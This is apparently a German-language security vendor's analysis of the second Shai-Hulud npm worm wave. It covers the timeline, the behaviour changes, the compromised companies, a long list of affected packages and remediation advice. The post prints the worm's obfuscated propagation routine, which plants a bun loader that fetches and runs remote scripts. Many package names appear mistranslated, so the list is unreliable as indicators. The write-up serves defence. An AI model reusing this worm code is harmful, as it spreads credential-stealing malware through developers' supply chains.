Aikido

Shai Hulud startet zweiten Supply-Chain-Angriff: Zapier, ENS, AsyncAPI, PostHog, Postman kompromittiert

Charlie EriksenCharlie Eriksen
|
#

Es ist wieder Montagmorgen, ich sitze am Computer. Und ich sehe einen Stapel von Warnmeldungen aus der letzten Stunde, die auf Malware in unserer triage hinweisen. Ich habe noch nicht einmal meine erste Tasse Kaffee ausgetrunken, da sehe ich schon Shai-Hulud-Indikatoren. Oh je, das ist doch sicher ein Fehlalarm? Nein, willkommen zum Montag, Shai Hulud hat wieder zugeschlagen. Schnallen Sie sich an.

Zeitleiste der Shai-Hulud-Kampagne

Der Zeitpunkt ist bemerkenswert, da npm kürzlich angekündigt hat, klassische Token nach der Welle von Angriffen auf die Lieferkette am 9. Dezember zu widerrufen. Da viele Benutzer noch nicht auf vertrauenswürdige Veröffentlichungen umgestiegen sind, nutzte der Angreifer den Moment für einen weiteren Angriff vor Ablauf der Frist von npm.

  • 27. August – Wir veröffentlichen unseren Bericht über die S1ngularity-Kampagne, die mehrere nx-Pakete auf npm zum Ziel hatte.  
  • 16. September – Der Angreifer schlägt erneut zu und startet die erste Angriffswelle der Shai-Hulud.  
  • 18. September – Wir veröffentlichen eine Folgeanalyse, in der wir uns eingehender mit den technischen Besonderheiten der Kampagne und dem frühen Verhalten der Payload befassen.  
  • 24. November – Es kommt zu einem zweiten Angriff, der von den Angreifern als „Second Coming“ bezeichnet wird und zeitlich kurz vor Ablauf der Frist von npm für die Sperrung alter Token stattfindet.

Was ist Shai-Hulud?: Eine kurze Auffrischung

Shai-Hulud, benannt nach den gigantischen Sandwürmern aus „Dune“ als Teil des theatralischen Flairs des Angreifers, ist ein sich selbst replizierender npm-Wurm, der entwickelt wurde, um sich schnell in kompromittierten Entwicklerumgebungen zu verbreiten. Sobald er ein System infiziert hat, sucht er mit TruffleHog nach offengelegten secrets API-Schlüsseln und Tokens und veröffentlicht alles, was er findet, in einem öffentlichen GitHub-Repository. Anschließend versucht er, neue Kopien von sich selbst an npm zu übertragen, um sich im gesamten Ökosystem zu verbreiten, während er Daten an den Angreifer zurücksendet. Passend zum dramatischen Thema bezeichnet der Angreifer diese neueste Welle als „Second Coming“ (Wiederkunft).

Unterschiede zum letzten Mal

Dieses Mal gibt es einige wesentliche Unterschiede beim Angriff:

  • Es installiert bun mit der Datei setup_bun.js und verwendet dies dann zur Ausführung bun_Umgebung.js  das ist der eigentliche Schadcode.
  • Es erstellt ein Repository mit einem zufällig generierten Namen für die gestohlenen Daten, anstatt einen fest codierten Namen zu verwenden.
  • Es werden bis zu 100 npm-Pakete infiziert, verglichen mit 20 beim letzten Mal.
  • Wenn die Authentifizierung bei GitHub oder NPM fehlschlägt, werden alle Dateien im Home-Verzeichnis des Benutzers gelöscht.

secrets ausplaudern

Dieses Mal veröffentlicht die Malware auch secrets GitHub, mit einem zufälligen Namen und der Repository-Beschreibung:

„Sha1-Hulud: Die Wiederkunft.“

Derzeit sehen wir 26,3 Tausend Repositorys:

Wiederholte Fehler

Bei der Analyse all dieser Pakete haben wir eine Reihe kompromittierter Pakete entdeckt, die offenbar aus der Community stammen und den ursprünglichen Staging-Code in setup_bun.js, aber NICHT bun_Umgebung.js Das ist der Shai-Hulud-Wurm selbst. Hier ist der Code, der den Wurm in andere Pakete verbreitet:

  async ["bundleAssets"](_0x349b3d) {
    let _0x2bd41c = a0_0x459ea5.join(_0x349b3d, 'package', "setup_bun.js");
    await iL0(_0x2bd41c, "#!/usr/bin/env node\nconst { spawn, execSync } = require('child_process');\nconst path = require('path');\nconst fs = require('fs');\nconst os = require('os');\n\nfunction isBunOnPath() {\n  try {\n    const command = process.platform === 'win32' ? 'where bun' : 'which bun';\n    execSync(command, { stdio: 'ignore' });\n    return true;\n  } catch {\n    return false;\n  }\n}\n\nfunction reloadPath() {\n  // Reload PATH environment variable\n  if (process.platform === 'win32') {\n    try {\n      // On Windows, get updated PATH from registry\n      const result = execSync('powershell -c \"[Environment]::GetEnvironmentVariable(\\'PATH\\', \\'User\\') + \\';\\' + [Environment]::GetEnvironmentVariable(\\'PATH\\', \\'Machine\\')\"', {\n        encoding: 'utf8'\n      });\n      process.env.PATH = result.trim();\n    } catch {\n    }\n  } else {\n    try {\n      // On Unix systems, source common shell profile files\n      const homeDir = os.homedir();\n      const profileFiles = [\n        path.join(homeDir, '.bashrc'),\n        path.join(homeDir, '.bash_profile'),\n        path.join(homeDir, '.profile'),\n        path.join(homeDir, '.zshrc')\n      ];\n\n      // Try to source profile files to get updated PATH\n      for (const profileFile of profileFiles) {\n        if (fs.existsSync(profileFile)) {\n          try {\n            const result = execSync(`bash -c \"source ${profileFile} && echo $PATH\"`, {\n              encoding: 'utf8',\n              stdio: ['pipe', 'pipe', 'ignore']\n            });\n            if (result && result.trim()) {\n              process.env.PATH = result.trim();\n              break;\n            }\n          } catch {\n            // Continue to next profile file\n          }\n        }\n      }\n\n      // Also check if ~/.bun/bin exists and add it to PATH if not already there\n      const bunBinDir = path.join(homeDir, '.bun', 'bin');\n      if (fs.existsSync(bunBinDir) && !process.env.PATH.includes(bunBinDir)) {\n        process.env.PATH = `${bunBinDir}:${process.env.PATH}`;\n      }\n    } catch {}\n  }\n}\n\nasync function downloadAndSetupBun() {\n  try {\n    let command;\n    if (process.platform === 'win32') {\n      // Windows: Use PowerShell script\n      command = 'powershell -c \"irm bun.sh/install.ps1|iex\"';\n    } else {\n      // Linux/macOS: Use curl + bash script\n      command = 'curl -fsSL https://bun.sh/install | bash';\n    }\n\n    execSync(command, {\n      stdio: 'ignore',\n      env: { ...process.env }\n    });\n\n    // Reload PATH to pick up newly installed bun\n    reloadPath();\n\n    // Find bun executable after installation\n    const bunPath = findBunExecutable();\n    if (!bunPath) {\n      throw new Error('Bun installation completed but executable not found');\n    }\n\n    return bunPath;\n  } catch  {\n    process.exit(0);\n  }\n}\n\nfunction findBunExecutable() {\n  // Common locations where bun might be installed\n  const possiblePaths = [];\n\n  if (process.platform === 'win32') {\n    // Windows locations\n    const userProfile = process.env.USERPROFILE || '';\n    possiblePaths.push(\n      path.join(userProfile, '.bun', 'bin', 'bun.exe'),\n      path.join(userProfile, 'AppData', 'Local', 'bun', 'bun.exe')\n    );\n  } else {\n    // Unix locations\n    const homeDir = os.homedir();\n    possiblePaths.push(\n      path.join(homeDir, '.bun', 'bin', 'bun'),\n      '/usr/local/bin/bun',\n      '/opt/bun/bin/bun'\n    );\n  }\n\n  // Check if bun is now available on PATH\n  if (isBunOnPath()) {\n    return 'bun';\n  }\n\n  // Check common installation paths\n  for (const bunPath of possiblePaths) {\n    if (fs.existsSync(bunPath)) {\n      return bunPath;\n    }\n  }\n\n  return null;\n}\n\nfunction runExecutable(execPath, args = [], opts = {}) {\n  const child = spawn(execPath, args, {\n    stdio: 'ignore',\n    cwd: opts.cwd || process.cwd(),\n    env: Object.assign({}, process.env, opts.env || {})\n  });\n\n  child.on('error', (err) => {\n    process.exit(0);\n  });\n\n  child.on('exit', (code, signal) => {\n    if (signal) {\n      process.exit(0);\n    } else {\n      process.exit(code === null ? 1 : code);\n    }\n  });\n}\n\n// Main execution\nasync function main() {\n  let bunExecutable;\n\n  if (isBunOnPath()) {\n    // Use bun from PATH\n    bunExecutable = 'bun';\n  } else {\n    // Check if we have a locally downloaded bun\n    const localBunDir = path.join(__dirname, 'bun-dist');\n    const possiblePaths = [\n      path.join(localBunDir, 'bun', 'bun'),\n      path.join(localBunDir, 'bun', 'bun.exe'),\n      path.join(localBunDir, 'bun.exe'),\n      path.join(localBunDir, 'bun')\n    ];\n\n    const existingBun = possiblePaths.find(p => fs.existsSync(p));\n\n    if (existingBun) {\n      bunExecutable = existingBun;\n    } else {\n      // Download and setup bun\n      bunExecutable = await downloadAndSetupBun();\n    }\n  }\n\n  const environmentScript = path.join(__dirname, 'bun_environment.js');\n  if (fs.existsSync(environmentScript)) {\n    runExecutable(bunExecutable, [environmentScript]);\n  } else {\n    process.exit(0);\n  }\n}\n\nmain().catch((error) => {\n  process.exit(0);\n});\n");
    let _0x3ed61a = process.argv[0x1];
    if (_0x3ed61a && (await My1(_0x3ed61a))) {
      let _0x1028dd = await mL0(_0x3ed61a);
      if (_0x1028dd !== null) {
        let _0x4cc8b3 = a0_0x459ea5.join(_0x349b3d, "package", "bun_environment.js");
        await iL0(_0x4cc8b3, _0x1028dd);
      }
    }
  }

Wir sehen, dass die bun_Umgebung.js kann je nach verschiedenen Faktoren manchmal nicht gebündelt sein. Es scheint, dass die Angreifer erneut Fehler gemacht haben. Dies scheint die Auswirkungen des Angriffs zum jetzigen Zeitpunkt begrenzt zu haben.

Kompromittierte GitHub-Repositorys

Das AsyncAPI-Team stellte fest, dass es einen Zweig ihres CLI-Projekts gab, der kurz vor dem Push der bösartigen Pakete erstellt worden war und eine Version der Shai-Hulud-Malware bereitstellte.

https://github.com/asyncapi/cli/blob/2efa4dff59bc3d3cecdf897ccf178f99b115d63d/bun_environment.js

Dies deutet darauf hin, dass die Angreifer möglicherweise eine ähnliche Technik verwendet haben wie bei der ursprünglichen Kompromittierung von Nx.

Unternehmen bestätigen Vorfall

Angesichts der Art des Vorfalls waren wir sehr erfreut, dass die Unternehmen in ihren Beiträgen schnell anerkannt haben, was passiert ist:

Patient Null

Wir haben die ersten Pakete am 24.11.2025 um 3:16:26 Uhr GMT+0 entdeckt. Dabei handelte es sich um das Paket „go-template” und 36 Pakete aus AsyncAPIViele weitere Pakete wurden schnell kompromittiert. Danach begannen sie, PostHog-Pakete am 24.11.2025 um 4:11:55 Uhr GMT+0 und Postman-Pakete am 24.11.2025 um 5:09:25 Uhr GMT+0 zu kompromittieren.

Welche Pakete sind betroffen?

Wir haben festgestellt, dass die folgenden Pakete mit einer neuen Version von Shai Hulud kompromittiert wurden. Diese insgesamt 492 Pakete werden monatlich insgesamt 132 Millionen Mal heruntergeladen:

CSV herunterladen
CSV herunterladen
  • @asyncapi/diff
  • @asyncapi/nodejs-ws-Vorlage
  • go-Vorlage
  • @asyncapi/avro-schema-parser
  • @asyncapi/Konverter
  • @asyncapi/dotnet-rabbitmq-Vorlage
  • @asyncapi/nunjucks-Filter
  • @asyncapi/protobuf-Schema-Parser
  • @asyncapi/Problem
  • @asyncapi/Optimierer
  • @asyncapi/python-paho-template
  • @asyncapi/multi-parser
  • @asyncapi/Bundler
  • @asyncapi/php-template
  • asyncapi-Vorschau
  • @asyncapi/java-spring-cloud-stream-template
  • @asyncapi/modelina-cli
  • @asyncapi/Generator-Helfer
  • @asyncapi/java-Vorlage
  • @asyncapi/react-Komponente
  • @asyncapi/Generator
  • @asyncapi/server-api
  • @asyncapi/java-spring-template
  • @asyncapi/cli
  • @asyncapi/Webkomponente
  • @asyncapi/Spezifikationen
  • @asyncapi/modelina
  • @asyncapi/Parser
  • @asyncapi/html-Vorlage
  • @asyncapi/go-watermill-Vorlage
  • @asyncapi/openapi-schema-parser
  • @asyncapi/edavisualiser
  • @asyncapi/Generator-Komponenten
  • dotnet-Vorlage
  • @asyncapi/Keeper
  • GitHub-Aktion für Generator
  • @asyncapi/nodejs-Vorlage
  • @asyncapi/markdown-Vorlage
  • @quick-start-soft/quick-git-clean-markdown
  • @quick-start-soft/quick-markdown-image
  • @quick-start-soft/quick-markdown-translator
  • @quick-start-soft/quick-markdown
  • test23112222-API
  • @asyncapi/Generator-React-SDK
  • @quick-start-soft/quick-markdown-compose
  • Eisenschild-Miniapp
  • Manuelles Abrechnungssystem Miniapp-API
  • Shinhan-Limit-Ausschuss
  • @strapbuild/react-native-perspektivisches-Bild-Cropper
  • React Native Modal verwenden
  • @Schnellstart-Soft/Schnellaufgabe-Verfeinern
  • @strapbuild/react-native-date-time-picker
  • @strapbuild/react-native-perspektivisches-Bild-Cropper-2
  • create-glee-app
  • @strapbuild/react-native-perspektivisches-Bild-Cropper-poojan31
  • @asyncapi/studio
  • @quick-start-soft/quick-markdown-print
  • @quick-start-soft/quick-remove-image-background
  • eslint-config-zeallat-Basis
  • korea-verwaltungsgebiet-geo-json-util
  • @quick-start-soft/quick-document-translator
  • Axios-Builder
  • Posthog-Knoten
  • @posthog/erstmaliger-Ereignis-Tracker
  • @posthog/Ereignissequenz-Timer-Plugin
  • @posthog/gitub-star-sync-plugin
  • Posthog-Plugin-Hallo-Welt
  • @posthog/bitbucket-release-tracker
  • @posthog/maxmind-plugin
  • @posthog/postgres-plugin
  • @posthog/twilio-plugin
  • @posthog/cli
  • @posthog/clickhouse
  • @posthog/Schneeflocken-Export-Plugin
  • Posthog-React-Native-Sitzungswiedergabe
  • @posthog/Ereignisse-auf-Eigenschaft-Plugin
  • @posthog/GitHub-Release-Tracking-Plugin
  • @posthog/Symbole
  • @posthog/geoip-plugin
  • @posthog/Intercom-Plugin
  • @posthog/Plugin-Entdublierung
  • @posthog/react-rrweb-player
  • Ereignisse auf Eigenschaft-Plugin
  • @posthog/Ingestion-Alarm-Plugin
  • @posthog/kinesis-plugin
  • @posthog/Lautsprecher-Plugin
  • @posthog/nextjs
  • @posthog/nextjs-config
  • @posthog/automatisches-Kohorten-Plugin
  • @posthog/migrator3000-Plugin
  • @posthog/Pagerduty-Plugin
  • @posthog/Plugin-Beitrag
  • @posthog/sendgrid-plugin
  • @posthog/Kunden-Plugin
  • @posthog/rrweb-utils
  • @posthog/Taxonomie-Plugin
  • @posthog/zendesk-plugin
  • @posthog/netdata-ereignisverarbeitung
  • @posthog/URL-Normalisierungs-Plugin
  • Posthog-Docusaurus
  • @posthog/Währungsnormalisierungs-Plugin
  • @posthog/Filter-Out-Plugin
  • @posthog/Herzschlag-Plugin
  • @actbase/react-native-fast-image
  • @posthog/ai
  • @posthog/databricks-plugin
  • @actbase/react-native-kakao-channel
  • Kredit-Zinsberechnung
  • @actbase/react-absolute
  • @actbase/react-daum-postcode
  • @actbase/react-native-einfaches-video
  • @posthog/Kern
  • @posthog/Zitrone-UI
  • @seung-ju/weiter
  • @seung-ju/React-Hooks
  • posthog-react-native
  • @actbase/css-zu-react-native-transform
  • @actbase/react-native-Aktionsblatt
  • @actbase/react-native-tiktok
  • @seung-ju/React-Native-Aktionsblatt
  • @actbase/react-kakaosdk
  • @posthog/Agent
  • @posthog/Varianz-Plugin
  • Discord-Bot-Server
  • @posthog/rrweb-Wiederholung
  • @posthog/rrweb-snapshot
  • @actbase/Knoten-Server
  • @actbase/react-native-devtools
  • @posthog/Plugin-Server
  • @posthog/rrweb-Datensatz
  • @actbase/native
  • @actbase/react-native-less-transformer
  • @posthog/rrweb
  • posthog-js
  • @posthog/Webentwicklungs-Server
  • @posthog/Schwimmbad
  • @posthog/nuxt
  • @posthog/rrweb-player
  • @posthog/Assistent
  • @actbase/react-native-kakao-navi
  • @posthog/siphash
  • @posthog/Twitter-Follower-Plugin
  • @actbase/react-native-naver-login
  • @seung-ju/OpenAPI-Generator
  • @posthog/rrdom
  • @posthog/Igel-Modus
  • React-Native-Worklet-Funktionen
  • Expo-Audio-Sitzung
  • poper-react-SDK
  • @postman/secret-scanner-wasm
  • @postman/csv-parse
  • @postman/node-keytar
  • @postman/tunnel-agent
  • @postman/pm-bin-macos-arm64
  • @postman/pm-bin-linux-x64
  • @postman/postman-Sammlung-Fork
  • @postman/postman-mcp-server
  • @postman/wdio-junit-reporter
  • @postman/aether-icons
  • @postman/postman-mcp-cli
  • @postman/pretty-ms
  • @postman/pm-bin-windows-x64
  • @postman/wdio-allure-reporter
  • @postman/final-node-keytar
  • @postman/pm-bin-macos-x64
  • @aryanhussain/meine-angular-lib
  • Kondensator-Plugin-App-Tracking-iOS
  • Kondensator-Plugin-Kauf
  • Kondensator-Kaufhistorie
  • Kondensator-Sprachaufzeichnungsgerät-WAV
  • scgs-Kondensator-Abonnement
  • @postman/mcp-ui-client
  • Kondensator-Plugin-SCGS-Anmeldung mit Google
  • @kvytech/medusa-plugin-ankündigung
  • @kvytech/medusa-plugin-produktbewertungen
  • Medusa-Plugin-Zalopay
  • scgsff-Ersteller
  • @kvytech/habbit-e2e-test
  • Medusa-Plugin-Protokolle
  • Medusa-Plugin-Produktbewertungen-Kvy
  • @kvytech/medusa-plugin-werbung
  • Medusa-Plugin-Momo
  • @kvytech/Komponenten
  • Medusa-Plugin-Ankündigung
  • @kvytech/cli
  • @kvytech/medusa-plugin-newsletter
  • @kvytech/medusa-plugin-verwaltung
  • @kvytech/web
  • create-hardhat3-app
  • Test-Schutzhelm-App
  • evm-Checkcode-CLI
  • Gate-EVM-Tools-Test
  • Gate-EVM-Prüfcode2
  • Web-Typen-HTMX
  • Test-Foundry-App
  • Web-Typen-Lit
  • bun-Plugin-HTTP-Datei
  • open2internet
  • vite-plugin-httpfile
  • @ensdomains/vite-plugin-i18next-loader
  • @ensdomains/Blacklist
  • @ensdomains/durin
  • @ensdomains/Verlängerung
  • @ensdomains/cypress-metamask
  • Bytecode-Checker-CLI
  • @ensdomains/dnsprovejs
  • @ensdomains/ccip-read-dns-gateway
  • @ensdomains/ccip-read-cf-worker
  • @ensdomains/dnssec-oracle-anchors
  • @ensdomains/Reverse-Einträge
  • @ensdomains/ens-test-env
  • @ensdomains/Hackathon-Registrar
  • @ensdomains/Verlängerungs-Widget
  • Krypto-Adress-Codec
  • @ensdomains/solsha1
  • @ensdomains/Server-Analytik
  • @ensdomains/ui
  • @ensdomains/test-utils
  • @ensdomains/mock
  • @ensdomains/ccip-read-router
  • @zapier/babel-preset-zapier
  • @ensdomains/Hardhat-Chai-Matchers-Viem
  • @ensdomains/ccip-read-worker-viem
  • @zapier/browserslist-config-zapier
  • @zapier/zapier-sdk
  • @zapier/stubtree
  • zapier-async-speicher
  • @zapier/ai-actions
  • @zapier/mcp-integration
  • spectral
  • @ensdomains/Adress-Encoder
  • Redux-Router-Kit
  • @ensdomains/eth-ens-namehash
  • Zapier-Skripte
  • @ensdomains/Puffer
  • @ensdomains/thorin
  • Zapier-Plattform-Legacy-Skripting-Runner
  • Zapier-Plattform-Schema
  • @ensdomains/dnssecoraclejs
  • Zapier-Plattform-Kern
  • @ensdomains/op-resolver-verträge
  • @ensdomains/ens-archivierte-Verträge
  • @ensdomains/ensjs
  • @ensdomains/Subdomain-Registrar
  • @ensdomains/unerschütterliche-Gateways
  • @ensdomains/web3modal
  • zapier-plattform-cli
  • @ensdomains/ens-verträge
  • @ensdomains/react-ens-adresse
  • @ensdomains/Kurvenarithmetik
  • @zapier/geheimer-Scheuermittel
  • @ensdomains/Hardhat-Toolbox-Viem-Extended
  • Ethereum-ENS
  • @ensdomains/durin-Middleware
  • @ensdomains/unicode-verwechselbare Zeichen
  • @ensdomains/ensjs-react
  • @ensdomains/Inhalts-Hash
  • @ensdomains/ens-avatar
  • @zapier/ai-actions-react
  • @zapier/eslint-plugin-zapier
  • @ensdomains/Offchain-Resolver-Verträge
  • @ensdomains/ens-validierung
  • @ensdomains/name-wrapper
  • @hapheus/n8n-Knoten-pgp
  • @markvivanco/App-Versionsprüfer
  • Claude-Token-Updater
  • n8n-Knoten-TMDB
  • devstart-cli
  • Fähigkeiten-Einsatz
  • @mcp-use/Inspektor
  • zuper-sdk
  • Super-Stream
  • @mcp-use/mcp-use
  • create-mcp-use-app
  • mcp-Verwendung
  • @mcp-use/cli
  • zuper-cli
  • @caretive/caret-cli
  • CPU-Befehle
  • lite-serper-mcp-server
  • @louisle2/Kern
  • Jan-Browser
  • Exakter Ticker
  • React-Bibliotheks-Einrichtung
  • Orbit-Seife
  • @orbitgtbelgium/mapbox-gl-draw-scale-rotate-mode
  • token.js-Fork
  • React-Komponenten-Tagger
  • @louisle2/cortex-js
  • Orbit-Nebel-Editor
  • @trigo/pathfinder-ui-css
  • @trigo/jsdt
  • @trigo/atrix-redis
  • @trigo/eslint-config-trigo
  • @trigo/atrix-orientdb
  • @trigo/node-soap
  • eslint-config-trigo
  • @trigo/Boolesche Ausdrücke
  • @trigo/atrix-pubsub
  • @trigo/atrix-elasticsearch
  • @trigo/hapi-auth-signierter Link
  • @trigo/keycloak-api
  • @trigo/atrix-soap
  • @trigo/atrix-swagger
  • @trigo/atrix-acl
  • Matrix
  • Redux-Forge
  • @trigo/atrix-mongoose
  • @trigo/atrix
  • Orbit-Box-Symbole
  • Matrix-Mungo
  • Boolesche Ausdrücke
  • React-Element-Prompt-Inspektor
  • trigo-react-app
  • @trigo/trigo-hapijs
  • @trigo/fsm
  • Befehl-Irail
  • @orbitgtbelgium/mapbox-gl-draw-cut-polygon-mode
  • @trigo/atrix-postgres
  • @orbitgtbelgium/Zeitschieberegler
  • @orbitgtbelgium/orbit-komponenten
  • Orbit-Nebel-Zeichenwerkzeuge
  • Typ-Orbit
  • @mparpaillon/Connector-Parse
  • @mparpaillon/Bilder geladen
  • @pendeln/marktdaten
  • gitsafe
  • @osmanekrem/Fehlerbehandlung
  • @pendeln/blühen
  • okta
  • Designstudio Uix
  • itobuz-angular
  • @ifelsedeveloper/Protokollverträge-SVM-IDL
  • Ito-Taste
  • @dev-blinq/cucumber_client
  • blinqio-Ausführungen-CLI
  • itobuz-angular-auth
  • @dev-blinq/ai-qa-logik
  • axios-zeitgesteuert
  • React Native E-Mail
  • hartnäckig-abholen
  • Kill-Port
  • Jacob Zuma
  • luno-api
  • @lessondesk/eslint-config
  • nach Entfernung sortieren
  • gerade warm
  • Bild-zu-URI
  • React Native Telefonanruf
  • Formik-Fehler-Fokus
  • jQuery-Bindungen
  • @lessondesk/babel-preset
  • Barebones-CSS
  • CoinMarketCap-API
  • Lizenz-o-matic
  • @varsityvibe/API-Client
  • Pico-UID
  • Hypertherm-Hipster
  • set-nested-prop
  • Bytes-zu-x
  • Durchsetzen-Zweig-Name
  • fittxt
  • get-them-args
  • React Native Retriable Fetch
  • svelte-Autovervollständigung-Auswahl
  • Feature-Flip
  • Lint-Staged-Imagemin
  • React Native Viewfinder
  • Formik-Shop
  • shell-exec
  • React Native Log-Level
  • @everreal/Webanalyse
  • React Native Jam-Symbole
  • @thedelta/eslint-config
  • Paket-Plugin-Asset-Kopierer
  • React Native WebSocket
  • ra-data-firebase
  • React-Jam-Symbole
  • React Native Fetch
  • @ifings/Design-System
  • Gatsby-Plugin-CNAME
  • @alexcolls/nuxt-ux
  • React Native Datepicker Modal
  • undefsafe-typed
  • Chrome-Erweiterungs-Downloads
  • socket.io
  • Fuzzy-Finder
  • sa-Unternehmensregistrierungsnummer-regex
  • Klapplager
  • react-keycloak-Kontext
  • react-qr-Bild
  • @tiaanduplessis/React-Fortschrittsbalken
  • @lessondesk/Schulbus
  • @tiaanduplessis/json
  • React Native - Pixelabmessungen abrufen
  • Nanoreset
  • nächste-zirkuläre-Abhängigkeit
  • URL-Kodierung/Dekodierung
  • axios-kündbar
  • Objekte vergleichen
  • wenk
  • Haufe-Axera-API-Client
  • obj-zu-css
  • sa-id-gen
  • @lessondesk/api-client
  • @varsityvibe/Validierungsschemata
  • glätten-entglätten
  • stoor
  • @clausehq/Flows-Schritt-JSON-zu-XML
  • @accordproject/Konzertanalyse
  • Hoffnung-Karte-Box-Zeichnung
  • Countdown
  • Hoffnungsschatten
  • @accordproject/markdown-it-cicero
  • piclite
  • @fishingbooker/React-Swiper
  • @fishingbooker/Browser-Sync-Plugin
  • Generator-Meteor-Lager
  • @fishingbooker/React-Lader
  • Benmostyn-Rahmen-Druck
  • @fishingbooker/React-Paginierung
  • @voiceflow/anthropic
  • @voiceflow/Sprachtypen
  • @voiceflow/Standard-Prompt-Wrapper
  • @voiceflow/npm-package-json-lint-config
  • @voiceflow/nestjs-mongodb
  • @voiceflow/tsconfig
  • @voiceflow/test-allgemein
  • @voiceflow/husky-config
  • @voiceflow/commitlint-Konfiguration
  • @voiceflow/git-Zweig-Prüfung
  • Normalgeschäft
  • @voiceflow/prettier-config
  • @voiceflow/stylelint-config
  • vf-oss-Vorlage
  • @voiceflow/storybook-konfiguration
  • @voiceflow/verror
  • @voiceflow/alexa-typen
  • @voiceflow/nestjs-timeout
  • @voiceflow/serverless-plugin-typescript
  • @voiceflow/voiceflow-typen
  • Regal-JWT-Sitzungen
  • @hover-Design/React
  • @voiceflow/Basistypen
  • @voiceflow/eslint-config
  • @voiceflow/abrufen
  • @voiceflow/allgemein
  • @voiceflow/eslint-Plugin
  • @voiceflow/Ausnahme
  • @voiceflow/dtos-interagieren
  • @voiceflow/google-typen
  • @voiceflow/nestjs-common
  • @voiceflow/pino
  • @voiceflow/sdk-laufzeit
  • @voiceflow/nestjs-Rate-Limit
  • @voiceflow/openai
  • Dialogflow-ES
  • @voiceflow/Widget
  • arc-cli-fc
  • Verbundstoff-Reduzierstück
  • Bidirektionaler Adapter
  • @antstackio/express-graphql-proxy
  • @antstackio/json-zu-graphql
  • @voiceflow/body-parser
  • @voiceflow/logger
  • @antstackio/eslint-config-antstack
  • @voiceflow/vitest-config
  • @faq-Komponente/Kern
  • @pruthvi21/debounce verwenden
  • @voiceflow/api-sdk
  • @hover-design/Kern
  • @faq-Komponente/React
  • @voiceflow/semantische-release-konfiguration
  • @voiceflow/vite-config
  • @voiceflow/circleci-config-sdk-orb-import
  • @voiceflow/Backend-Dienstprogramme
  • @voiceflow/slate-serializer
  • @voiceflow/google-dfes-typen
  • n8n-Knoten-Viral-App
  • @accordproject/markdown-docx
  • @clausehq/Flows-Schritt-SendGrid-E-Mail
  • @lpdjs/Firestore-Repo-Service
  • @trefox/sleekshop-js
  • Rechnung
  • jsonsurge
  • mon-Paket-React-TypeScript
  • rediff
  • Solomon-API-Geschichten
  • Solomon-v3-Geschichten
  • Solomon-v3-UI-Wrapper
  • tcsp-Zeichnungstest
  • Hochlandui

Mögliche Auswirkungen von Shai-Hulud: Wiederkunft

Angreifer haben bösartigen Code in Hunderte von NPM-Paketen eingeschleust – darunter wichtige Pakete von Zapier, ENS, AsyncAPI, PostHog, Browserbase und Postman. Wenn ein Entwickler eines dieser schädlichen Pakete installiert, wird die Malware während der Installation unbemerkt ausgeführt, noch bevor die Installation abgeschlossen ist. Dadurch erhält sie Zugriff auf den Computer, die Build-Systeme oder die Cloud-Umgebung des Entwicklers. Anschließend sucht sie mit einem automatisierten Tool (TruffleHog) nach sensiblen Informationen wie Passwörtern, API-Schlüsseln, Cloud-Tokens und GitHub- oder NPM-Anmeldedaten. Alles, was sie findet, wird in ein öffentliches GitHub-Repository mit dem Namen „Sha1-Hulud: The Second Coming“ hochgeladen . Wenn diese gestohlenen secrets den Zugriff auf Code-Repositorys oder Paketregister secrets , können Angreifer sie nutzen, um in weitere Konten einzudringen und weitere bösartige Pakete zu veröffentlichen, wodurch sich der Angriff weiter ausbreitet. Da vertrauenswürdige Ökosysteme betroffen sind und Millionen von Downloads betroffen sind, sollte jedes Team, das NPM verwendet, sofort überprüfen, ob es betroffen ist, und alle möglicherweise durchgesickerten Anmeldedaten ändern.


Welche Maßnahmen sollten Sicherheitsteams ergreifen?

  • Überprüfen Sie alle Zapier/ENS-bezogenen npm-Abhängigkeiten und -Versionen.
  • Alle während der Installation secrets GitHub-, npm-, Cloud- und CI/CD secrets rotieren.
  • Überprüfen Sie GitHub auf seltsame Repositorys mit der Beschreibung „Sha1-Hulud: The Second Coming”.
  • npm deaktivieren Nach der Installation Skripte in CI, wo möglich.
  • Pin-Paketversionen und MFA für GitHub- und npm-Konten erzwingen.
  • Verwenden Sie Tools wie Safe-Chain, um bösartige Pakete auf NPM zu blockieren.

4.7/5

Sichern Sie Ihre Software jetzt.

Kostenlos starten
Ohne Kreditkarte
Demo buchen
Ihre Daten werden nicht weitergegeben · Nur Lesezugriff · Keine Kreditkarte erforderlich

Werden Sie jetzt sicher.

Sichern Sie Ihren Code, Ihre Cloud und Ihre Laufzeit in einem zentralen System.
Finden und beheben Sie Schwachstellen schnell und automatisch.

Keine Kreditkarte erforderlich | Scan-Ergebnisse in 32 Sek.